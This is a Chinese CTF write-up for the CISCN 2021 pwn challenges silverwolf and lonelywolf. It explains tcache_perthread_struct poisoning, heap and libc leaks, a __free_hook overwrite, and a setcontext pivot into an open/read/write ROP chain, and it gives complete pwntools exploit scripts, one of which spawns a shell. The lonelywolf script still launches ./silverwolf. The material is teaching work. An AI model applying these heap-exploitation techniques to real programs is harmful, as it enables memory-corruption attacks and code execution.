今天来看两道CISCN2021初赛的pwn题,分别是lonelywolf和silverwolf。

silverwolf

由于最开始看到的是silverwolf,就先分析这个题。

静态分析

┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn2-tcache]
└─$ seccomp-tools dump ./silverwolf 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0008
 0007: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
                                                                                               
┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn2-tcache]
└─$ checksec --file=silverwolf 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   RW-RUNPATH   No Symbols        

全绿,且加了沙箱。

IDA分析:

use-after-free
off-by-null

分析出了这两个漏洞,不过只用到了uaf,师傅们有其他解法也可以和我交流。

Index是逗你玩的,没什么用,不管如何都只能操作最后一个堆块。

┌──(kali㉿kali)-[~/Desktop/25-pwn/pwn2-tcache]
└─$ strings libc-2.27.so|grep ubuntu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.3) stable release version 2.27.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

GLIBC版本为2.27,这个版本的libc有tcache机制。

pwndbg> bins                                                                                                                                                           
tcachebins
0x20 [  7]: 0x555555a02610 —▸ 0x555555a02790 —▸ 0x555555a025f0 —▸ 0x555555a028a0 —▸ 0x555555a020b0 —▸ 0x555555a02450 —▸ 0x555555a02020 ◂— 0
0x60 [  1]: 0x555555a028c0 ◂— 0
0x70 [  7]: 0x555555a02360 —▸ 0x555555a020d0 —▸ 0x555555a022f0 —▸ 0x555555a02490 —▸ 0x555555a02630 —▸ 0x555555a027b0 —▸ 0x555555a02040 ◂— 0
0x80 [  7]: 0x555555a01e90 —▸ 0x555555a021b0 —▸ 0x555555a02250 —▸ 0x555555a023d0 —▸ 0x555555a02570 —▸ 0x555555a02820 —▸ 0x555555a01fa0 ◂— 0
0xd0 [  3]: 0x555555a01ad0 —▸ 0x555555a017a0 —▸ 0x555555a01310 ◂— 0
0xf0 [  2]: 0x555555a026a0 —▸ 0x555555a01cd0 ◂— 0
fastbins
0x20: 0x555555a01df0 —▸ 0x555555a01f00 —▸ 0x555555a02220 —▸ 0x555555a022c0 —▸ 0x555555a02460 ◂— 0
0x70: 0x555555a01e10 —▸ 0x555555a01f20 —▸ 0x555555a02130 —▸ 0x555555a024f0 ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty

直接分析也可以看到,tcachebin中有大量的堆块,这是因为程序开了沙箱,在创建沙箱时会创建和销毁很多堆块。

这个题我们需要利用tcache_perthread_struct这个结构,这是从2.27开始引入的机制,其实就是个链表。

pwndbg> tcache
tcache is pointing to: 0x555555a01010 for thread 1
{
  counts = "\a\000\000\000\001\a\a\000\000\000\000\003\000\002", '\000' <repeats 49 times>,
  entries = {0x555555a02610, 0x0, 0x0, 0x0, 0x555555a028c0, 0x555555a02360, 0x555555a01e90, 0x0, 0x0, 0x0, 0x0, 0x555555a01ad0, 0x0, 0x555555a026a0, 0x0 <repeats 50 times>},
}

看一下具体的值:

pwndbg> x/40gx 0x555555a01000
0x555555a01000: 0x0000000000000000      0x0000000000000251
0x555555a01010: 0x0007070100000007      0x0000020003000000
0x555555a01020: 0x0000000000000000      0x0000000000000000
0x555555a01030: 0x0000000000000000      0x0000000000000000
0x555555a01040: 0x0000000000000000      0x0000000000000000
0x555555a01050: 0x0000555555a02610      0x0000000000000000
0x555555a01060: 0x0000000000000000      0x0000000000000000
0x555555a01070: 0x0000555555a028c0      0x0000555555a02360
0x555555a01080: 0x0000555555a01e90      0x0000000000000000
0x555555a01090: 0x0000000000000000      0x0000000000000000
0x555555a010a0: 0x0000000000000000      0x0000555555a01ad0
0x555555a010b0: 0x0000000000000000      0x0000555555a026a0
0x555555a010c0: 0x0000000000000000      0x0000000000000000
0x555555a010d0: 0x0000000000000000      0x0000000000000000
0x555555a010e0: 0x0000000000000000      0x0000000000000000
0x555555a010f0: 0x0000000000000000      0x0000000000000000
0x555555a01100: 0x0000000000000000      0x0000000000000000
0x555555a01110: 0x0000000000000000      0x0000000000000000
0x555555a01120: 0x0000000000000000      0x0000000000000000
0x555555a01130: 0x0000000000000000      0x0000000000000000

可以看到这其实也是个堆块,大小为0x250,tcache_perthread_struct这个结构的定义:

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

前面是每种堆块在tcachebin中的数量,其中最大值为7,后面的entries是tcache_entry类型的指针,它的值是每一种堆块的头部,也就是每种堆块中第一个堆块的地址。

例如从0x555555a01010开始的值:0x0007070100000007,它对应的是0x90(0)、0x80(7)、……、0x30(0)、0x20(7)的堆块的数量。

0x555555a01050处的值(0x555555a02610)即是0x20大小堆块的第一个堆块的地址。

利用的就是这个结构体,下面我们来进行漏洞利用。

漏洞利用

要利用tcache_perthread_struct,我们首先要泄露出堆地址,利用tcachebin来泄露:

add(0x78)
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak1 >>>", hex(leak))
heap_base = leak - 0x11b0
print("heap_base >>>", hex(heap_base))

因为tcachebin中有很多初始的堆块,我们直接申请出来就行,然后可以泄露出堆地址:

接下来我们要泄露出libc基地址(堆题一般都是通过unsortedbin泄露的)

首先我们将申请出来的堆块再次释放,然后修改进入tcachebin的堆块的fd指针为tcache_perthread_struct结构体的地址,也就是heap_base+0x10的位置,然后我们将这个堆块申请出来,修改对应0x250大小堆块数量的值为7,将其他堆块数量修改为0。

delete()
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(p64(0)*4+p64(0x7000000))

效果如下所示:

tcachebins
0x20 [  0]: 0x557972dcf610 ◂— ...
0x60 [  0]: 0x557972dcf8c0 ◂— ...
0x70 [  0]: 0x557972dcf360 ◂— ...
0x80 [  0]: 0x6070100000007
0xd0 [  0]: 0x557972dcead0 ◂— ...
0xf0 [  0]: 0x557972dcf6a0 ◂— ...
0x250 [  7]: 0
fastbins
0x20: 0x557972dcedf0 —▸ 0x557972dcef00 —▸ 0x557972dcf220 —▸ 0x557972dcf2c0 —▸ 0x557972dcf460 ◂— 0
0x70: 0x557972dcee10 —▸ 0x557972dcef20 —▸ 0x557972dcf130 —▸ 0x557972dcf4f0 ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty

此时0x250的堆块数量已经被修改为7,此时再释放最后一个堆块(也就是上面我们申请出来的tcache_perthread_struct堆块),这个堆块的大小为0x250,由于tcachebin已满,所以会直接被释放进unsortedbin中,进而泄露出libc基地址:

delete()
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak2 >>>", hex(leak))
libc_base = leak - (0x7f4f27febca0 - 0x7f4f27c00000)
print("libc_base >>>", hex(libc_base))

可以看到0x250的堆块已经成功被释放进了unsortedbin中:

unsortedbin
all: 0x559695c90000 —▸ 0x7f6e0b9ebca0 ◂— 0x559695c90000
smallbins
empty
largebins
empty

打印出堆块内容即可:

泄露出了libc基地址,接下来我们需要去构造rop链了,因为这题开了沙箱,所以我们需要通过setcontext或者srop的方式来得到flag

这里我选择用setcontext,原因是Srop的orw需要控制好rsp和rip的关系,比较麻烦。

首先将那个堆块重新申请出来,修改0x20的堆块起始地址为它本身的地址

pwndbg> x/40gx 0x5612e473a000
0x5612e473a000: 0x0000000000000000      0x0000000000000051
0x5612e473a010: 0x0000000000000000      0x0000000000000000
0x5612e473a020: 0x0000000000000000      0x0000000000000000
0x5612e473a030: 0x0000000000000000      0x0000000000000000
0x5612e473a040: 0x0000000000000000      0x0000000000000000
0x5612e473a050: 0x00005612e473a050      0x0000000000000201
0x5612e473a060: 0x00007fa5f3bebca0      0x00007fa5f3bebca0
0x5612e473a070: 0x00005612e473b8c0      0x00005612e473b360
0x5612e473a080: 0x0006070100000007      0x0000000000000000
0x5612e473a090: 0x0000000000000000      0x0000000000000000
0x5612e473a0a0: 0x0000000000000000      0x00005612e473aad0
0x5612e473a0b0: 0x0000000000000000      0x00005612e473b6a0
0x5612e473a0c0: 0x0000000000000000      0x0000000000000000
0x5612e473a0d0: 0x0000000000000000      0x0000000000000000
0x5612e473a0e0: 0x0000000000000000      0x0000000000000000
0x5612e473a0f0: 0x0000000000000000      0x0000000000000000
0x5612e473a100: 0x0000000000000000      0x0000000000000000
0x5612e473a110: 0x0000000000000000      0x0000000000000000
0x5612e473a120: 0x0000000000000000      0x0000000000000000
0x5612e473a130: 0x0000000000000000      0x0000000000000000

0x5612e473a050的位置已经被成功修改,然后我们再次申请出来的0x20的堆块就是从这里申请了,我们再将0x40的位置修改为0x5612e473a050,这样下次申请0x40就可以修改更多的内容。

add(0x48)
edit(p64(0) * 8 + p64(heap_base + 0x50))
add(0x18)
edit(p64(0) * 2 + p64(heap_base + 0x50))#0x40

接下来修改tcachebin的entries:

add(0x38)

payload = p64(free_hook)          #0x20 改free_hook
payload += p64(heap_base + 0x1000)#0x30 写./flag\x00\x00
payload += p64(heap_base + 0x10a0)#0x40 rdi + 0xa8为rcx,后面push rcx; ret,也就是把rdi+0xa8赋值为rip,rdi+0xa0为rsp,这个地方就很巧了,把rdi+0xa8设置为ret,rdi+0xa0为rop链的地址,这个时候就会把rsp的值(rop链的地址)弹入到rip,实现对程序执行流的劫持
payload += p64(heap_base + 0x1000)#0x50 setcontext时的rdi
payload += p64(heap_base + 0x2000)#0x60 orw链第一部分
payload += p64(0)                 #0x70 null
payload += p64(heap_base + 0x2058)#0x80 orw链第二部分

edit(payload)

setcontext+53:

.text:00000000000521B5                 mov     rsp, [rdi+0A0h]
.text:00000000000521BC                 mov     rbx, [rdi+80h]
.text:00000000000521C3                 mov     rbp, [rdi+78h]
.text:00000000000521C7                 mov     r12, [rdi+48h]
.text:00000000000521CB                 mov     r13, [rdi+50h]
.text:00000000000521CF                 mov     r14, [rdi+58h]
.text:00000000000521D3                 mov     r15, [rdi+60h]
.text:00000000000521D7                 mov     rcx, [rdi+0A8h]
.text:00000000000521DE                 push    rcx
.text:00000000000521DF                 mov     rsi, [rdi+70h]
.text:00000000000521E3                 mov     rdx, [rdi+88h]
.text:00000000000521EA                 mov     rcx, [rdi+98h]
.text:00000000000521F1                 mov     r8, [rdi+28h]
.text:00000000000521F5                 mov     r9, [rdi+30h]
.text:00000000000521F9                 mov     rdi, [rdi+68h]
.text:00000000000521F9 ; } // starts at 52180
.text:00000000000521FD ; __unwind {
.text:00000000000521FD                 xor     eax, eax
.text:00000000000521FF                 retn

通过对rdi附近的值进行操作,分别对各个寄存器进行赋值,其中mov rcx, [rdi+0A8h]; push rcx这里通过对rcx赋值然后push到栈里面,进而通过最后的ret实现对rip进行赋值,从而控制程序执行流。

高版本的setcontext有所不同,这里不再赘述,在另一篇bigduck的文章里面(目前还在完善)

接下来需要通过修改free_hook,以及写rop链的方式得到flag:

add(0x18)
edit(p64(setcontext))
add(0x28)
edit(b'./flag\x00\x00')
add(0x38)
ret = libc_base + 0x00000000000008aa
flag_addr = heap_base + 0x1000
edit(p64(heap_base + 0x2000) + p64(ret))

先打free_hook,改为setcontext,然后写入flag字符串,然后再通过把rip赋值为ret,rsp赋值为rop_addr来控制执行流到orw所在的地址。

然后将orw链写入堆块:

payload = p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(syscall)

add(0x58)
edit(payload[:0x58])
add(0x78)
edit(payload[0x58:])

最后释放0x48的堆块:

add(0x48)
delete()

此时,free的第一个参数就是0x48堆块的地址,这个地址就是上面写入的heap_base+0x1000,也就是rdi,因为free_hook已经被我们修改了,所以这里实际上调用setcontext,通过各个寄存器与rdi的偏移来实现对程序执行流的控制。最后成功调用orw链:

exp

(打远程需要更改libc,我本地没找到相应的libc版本,用的相近的)

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./silverwolf")
#p = remote("node4.anna.nssctf.cn",28172)
libc = ELF("./libc")
def choice(idx):
    p.sendlineafter("Your choice:", str(idx))

def add(size):
    choice(1)
    p.sendlineafter("Index:", b'0')
    p.sendlineafter("Size:", str(size))

def edit(data):
    choice(2)
    p.sendlineafter("Index:", b'0')
    p.sendlineafter("Content:", data)

def show():
    choice(3)
    p.sendlineafter("Index:", b'0')

def delete():
    choice(4)
    p.sendlineafter("Index:", b'0')

def exit():
    choice(5)

add(0x78)
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak1 >>>", hex(leak))
heap_base = leak - 0x11b0
print("heap_base >>>", hex(heap_base))
#gdb.attach(p)
delete()
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(p64(0)*4+p64(0x7000000))
#gdb.attach(p)
delete()
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak2 >>>", hex(leak))
libc_base = leak - (0x7f4f27febca0 - 0x7f4f27c00000)
print("libc_base >>>", hex(libc_base))
#gdb.attach(p)
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53


add(0x48)
edit(p64(0) * 8 + p64(heap_base + 0x50))
#gdb.attach(p)
add(0x18)
edit(p64(0) * 2 + p64(heap_base + 0x50))#0x40

add(0x38)

payload = p64(free_hook)          #0x20 改free_hook
payload += p64(heap_base + 0x1000)#0x30 写./flag\x00\x00
payload += p64(heap_base + 0x10a0)#0x40 rdi + 0xa8为rcx,后面push rcx; ret,也就是把rdi+0xa8赋值为rip,rdi+0xa0为rsp,这个地方就很巧了,把rdi+0xa8设置为ret,rdi+0xa0为rop链的地址,这个时候就会把rsp的值(rop链的地址)弹入到rip,实现对程序执行流的劫持
payload += p64(heap_base + 0x1000)#0x50 setcontext时的rdi
payload += p64(heap_base + 0x2000)#0x60 orw链第一部分
payload += p64(0)                 #0x70 null
payload += p64(heap_base + 0x2058)#0x80 orw链第二部分

edit(payload)

add(0x18)
edit(p64(setcontext))
add(0x28)
edit(b'./flag\x00\x00')
add(0x38)
ret = libc_base + 0x00000000000008aa
flag_addr = heap_base + 0x1000
edit(p64(heap_base + 0x2000) + p64(ret))

pop_rdi_ret = libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x000000000001b500
syscall     = libc_base + 0x00000000000e44f5# libc.sym['alarm'] + 0x5 #0x0000000000002743(不知道为什么这个不行)

payload = p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(flag_addr)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(syscall)

add(0x58)
edit(payload[:0x58])
add(0x78)
edit(payload[0x58:])

add(0x48)
#gdb.attach(p)
delete()

p.interactive()

Tips:在搜索syscall的时候可以在ROPgadgets后面添加参数:

ROPgadget --binary libc --only 'syscall|ret' --multibr

这样就可以找到对应的syscall; ret

lonelywolf

比silverwolf少了一个沙箱,前面分析的部分都一样,后面直接替换free_hook为system,然后free一个内容为/bin/sh\x00的堆块即可。

分析部分略。

exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process("./silverwolf")
#p = remote("node4.anna.nssctf.cn",28172)
libc = ELF("./libc")
def choice(idx):
    p.sendlineafter("Your choice:", str(idx))

def add(size):
    choice(1)
    p.sendlineafter("Index:", b'0')
    p.sendlineafter("Size:", str(size))

def edit(data):
    choice(2)
    p.sendlineafter("Index:", b'0')
    p.sendlineafter("Content:", data)

def show():
    choice(3)
    p.sendlineafter("Index:", b'0')

def delete():
    choice(4)
    p.sendlineafter("Index:", b'0')

def exit():
    choice(5)

add(0x78)
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak1 >>>", hex(leak))
heap_base = leak - 0x11b0
print("heap_base >>>", hex(heap_base))
#gdb.attach(p)
delete()
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(p64(0)*4+p64(0x7000000))
#gdb.attach(p)
delete()
show()
p.recvuntil(b"\x20")
leak = u64(p.recvuntil(b"\x0a")[-7:-1].ljust(8,b"\x00"))
print("leak2 >>>", hex(leak))
libc_base = leak - (0x7f4f27febca0 - 0x7f4f27c00000)
print("libc_base >>>", hex(libc_base))
#gdb.attach(p)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(0x60)
edit(p64(0)*8+p64(free_hook))

add(0x10)
edit(p64(system))

add(0x20)
edit(b'/bin/sh\x00')
delete()

p.interactive()

新年快乐

写到这里已经19:53了,我也该看春晚去了,在这里提前祝大家新年快乐,新的一年a更多的题,祝各位师傅的实力越来越强,每次比赛都能AK茶歇!!!

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...